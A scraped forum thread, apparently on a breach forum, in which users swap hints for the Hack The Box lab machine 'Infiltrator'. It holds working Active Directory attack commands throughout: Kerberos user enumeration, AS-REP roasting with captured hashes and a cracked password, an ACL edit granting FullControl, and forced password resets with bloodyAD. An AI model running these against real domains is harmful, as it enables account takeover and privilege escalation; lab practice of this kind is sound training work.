[fuliye]

where can i find the d.anderson password ??

kerbrute --dc dc01.infiltrator.htb userenum -d infiltrator.htb users

is not work bro

it is working but u need to create /etc/krb5.conf
for example with:

[libdefaults]
    default_realm = INFILTRATOR.HTB

[realms]
    INFILTRATOR.HTB = {
        kdc = dc01.infiltrator.htb
        admin_server = dc01.infiltrator.htb
    }

[domain_realm]
    .infiltrator.htb = INFILTRATOR.HTB
    infiltrator.htb = INFILTRATOR.HTB

Where to create,bro

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[olkn00b]

how did you pass password age poilcy error , I restarted many times but still getting same error

Password can't be changed before -2 days, 23:59:45.483637 because of the minimum password age policy.

the policy for e.rod?

python3 /home/kali/.local/bin/dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' '<domain>/<username>' -k -no-pass -dc-ip <dc-ip-address>

python bloodyAD.py --host "dc01.<domain>" -d "<domain>" --kerberos --dc-ip <dc-ip-address> -u "<username>" -p '<password>' set password "<target-user>" '<new-password>'

[bmoon10]

where can i find the d.anderson password ??

kerbrute --dc dc01.infiltrator.htb userenum -d infiltrator.htb users

is not work bro

it is working but u need to create /etc/krb5.conf
for example with:

[libdefaults]
    default_realm = INFILTRATOR.HTB

[realms]
    INFILTRATOR.HTB = {
        kdc = dc01.infiltrator.htb
        admin_server = dc01.infiltrator.htb
    }

[domain_realm]
    .infiltrator.htb = INFILTRATOR.HTB
    infiltrator.htb = INFILTRATOR.HTB

Where to create,bro

Alternate option is to use GetNPUsers.py from impacket

$ cat usernames.txt
o.martinez
d.anderson
k.turner
l.clark
e.rodriguez
a.walker
m.harris

GetNPUsers.py -usersfile usernames.txt -dc-ip $ip -request -format hashcat infiltrator.htb/
Impacket v0.12.0.dev1+20240725.125704.9f36a10 - Copyright 2023 Fortra

[-] User o.martinez doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User d.anderson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User k.turner doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$l.clark@INFILTRATOR.HTB:cf5d0c58342925ba41d697616cabca46$08b7d11a95a161f1028b41640698118dd7cb79c0703a204a1ee45a43d6e1fd3fea1fe6d5cf1eec4f7e91cfc5d6edcbac26a202e32c346b3148acf5a8e5556d52c1a2cbe66284a8716675144267a7dbd5e70fc47ba9b977a03c09119f274a64d499ca79ccd3f02c4a76ac61b13dbeeedfb1c7976275560e1def03595179fd06b9feb4960cf97af68a0fe2b96cb4ccf1ca69ad55f915212c4dc24a9f728758cc969bf3beefb1d1d0b54db3340d048816b71c361f800c4c43db7bd148fff8ab3448810bae47b2773bbdefd8c2e12f19cbb4858ae5d7d16af99598abeb4e09f0e713c95491facd933fea992e87f49e6be62854a5
[-] User e.rodriguez doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User a.walker doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User m.harris doesn't have UF_DONT_REQUIRE_PREAUTH set

[olkn00b]

stuck on harris , any tip for martinez? was looking for a webservice port , no luck yet.

[fuliye]

so anyoone get the user flag ?

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[x1rx]

how did you pass password age poilcy error , I restarted many times but still getting same error

Password can't be changed before -2 days, 23:59:45.483637 because of the minimum password age policy.

the policy for e.rod?

python3 /home/kali/.local/bin/dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' '<domain>/<username>' -k -no-pass -dc-ip <dc-ip-address>

python bloodyAD.py --host "dc01.<domain>" -d "<domain>" --kerberos --dc-ip <dc-ip-address> -u "<username>" -p '<password>' set password "<target-user>" '<new-password>'

thanks bro , I gott it works . my earlier dacledit command was wrong

[v33]

92 owns already

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[teky]

anyone knows why is this happening python 

bloodyAD/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip 10.10.11.31 -u "d.anderson" -p 'WAT?watismypass!' set password "e.rodriguez" 'WAT?watismypass!'
Traceback (most recent call last):
  File "/usr/bin/bloodyAD/bloodyAD.py", line 5, in <module>
    main.main()
  File "/usr/bin/bloodyAD/bloodyAD/main.py", line 144, in main
    output = args.func(conn, **params)
            ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/bin/bloodyAD/bloodyAD/cli_modules/set.py", line 86, in password
    conn.ldap.bloodymodify(target, {"unicodePwd": op_list})
    ^^^^^^^^^
  File "/usr/bin/bloodyAD/bloodyAD/network/config.py", line 80, in ldap
    self._ldap = Ldap(self.conf)
                ^^^^^^^^^^^^^^^
  File "/usr/bin/bloodyAD/bloodyAD/network/ldap.py", line 122, in __init__
    raise e
  File "/usr/bin/bloodyAD/bloodyAD/network/ldap.py", line 110, in __init__
    raise err
  File "/usr/lib/python3/dist-packages/msldap/client.py", line 120, in connect
    raise err
  File "/usr/lib/python3/dist-packages/msldap/connection.py", line 193, in connect
    self.network = await asyncio.wait_for(client.connect(), timeout=self.target.timeout)
                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/asyncio/tasks.py", line 489, in wait_for
    return fut.result()
          ^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/asysocks/unicomm/client.py", line 416, in connect
    reader, writer = await asyncio.open_connection(self.target.get_ip_or_hostname(), self.target.port)
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/asyncio/streams.py", line 48, in open_connection
    transport, _ = await loop.create_connection(
                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/asyncio/base_events.py", line 1045, in create_connection
    infos = await self._ensure_resolved(
            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/asyncio/base_events.py", line 1419, in _ensure_resolved
    return await loop.getaddrinfo(host, port, family=family, type=type,
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/asyncio/base_events.py", line 867, in getaddrinfo
    return await self.run_in_executor(
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/concurrent/futures/thread.py", line 58, in run
    result = self.fn(*self.args, **self.kwargs)
            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/socket.py", line 962, in getaddrinfo
    for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
socket.gaierror: [Errno -2] Name or service not known

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | https://breachforums.ai/Forum-Ban-Appeals if you feel this is incorrect.

[mrranger2424]

anyone knows why is this happening python 

bloodyAD/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip 10.10.11.31 -u "d.anderson" -p 'WAT?watismypass!' set password "e.rodriguez" 'WAT?watismypass!'
Traceback (most recent call last):
  File "/usr/bin/bloodyAD/bloodyAD.py", line 5, in <module>
    main.main()
  File "/usr/bin/bloodyAD/bloodyAD/main.py", line 144, in main
    output = args.func(conn, **params)
            ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/bin/bloodyAD/bloodyAD/cli_modules/set.py", line 86, in password
    conn.ldap.bloodymodify(target, {"unicodePwd": op_list})
    ^^^^^^^^^
  File "/usr/bin/bloodyAD/bloodyAD/network/config.py", line 80, in ldap
    self._ldap = Ldap(self.conf)
                ^^^^^^^^^^^^^^^
  File "/usr/bin/bloodyAD/bloodyAD/network/ldap.py", line 122, in __init__
    raise e
  File "/usr/bin/bloodyAD/bloodyAD/network/ldap.py", line 110, in __init__
    raise err
  File "/usr/lib/python3/dist-packages/msldap/client.py", line 120, in connect
    raise err
  File "/usr/lib/python3/dist-packages/msldap/connection.py", line 193, in connect
    self.network = await asyncio.wait_for(client.connect(), timeout=self.target.timeout)
                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/asyncio/tasks.py", line 489, in wait_for
    return fut.result()
          ^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/asysocks/unicomm/client.py", line 416, in connect
    reader, writer = await asyncio.open_connection(self.target.get_ip_or_hostname(), self.target.port)
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/asyncio/streams.py", line 48, in open_connection
    transport, _ = await loop.create_connection(
                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/asyncio/base_events.py", line 1045, in create_connection
    infos = await self._ensure_resolved(
            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/asyncio/base_events.py", line 1419, in _ensure_resolved
    return await loop.getaddrinfo(host, port, family=family, type=type,
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/asyncio/base_events.py", line 867, in getaddrinfo
    return await self.run_in_executor(
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/concurrent/futures/thread.py", line 58, in run
    result = self.fn(*self.args, **self.kwargs)
            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/socket.py", line 962, in getaddrinfo
    for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
socket.gaierror: [Errno -2] Name or service not known

echo "10.10.11.31 dc01.infiltrator.htb" | sudo tee -a /etc/hosts

[0bfusc8]

lets get this done boys!

command "kerbrute userenum -d infiltrator.htb --dc DC_IP -t 100 -o kerbrute.log users.txt"

lead me to

$krb5asrep$23$l.clark@infiltrator.htb@Infiltrator.HTB:ecef063f47a7e6d193c18d4efb0adfd5$77d5f91039e8d1378a4d141d2a714ffb5441ceaadd3443c5a36b87452322a380546b06b0ba4cac8e355d6505d39c91fc05dd41d8316da6fac4f699d910be181fd3ff94839b7c2d6764f0c50423d13b33d5aa5b59aba2ad332544c619beee14a7cd94e9030d6287f80c0056cf123286bfceac3fe2164e00c048126e948c4c95aaccc29a31ddf44369445f6219e42b4dbf05b85dbe35f6f7b8790f990d2b19f558d4ac2789ef8b00b3cd52f64912a523b75bb5701e1848829359cfee7654ed5926123f97bc9a9b0d3f43c2eaf17afc23ca69d53981634c89ab1503495a3e8866271cf617e9c77e80b19d2028a02fe5fbb1b6f6:WAT?watismypass!

trying to get user flag from here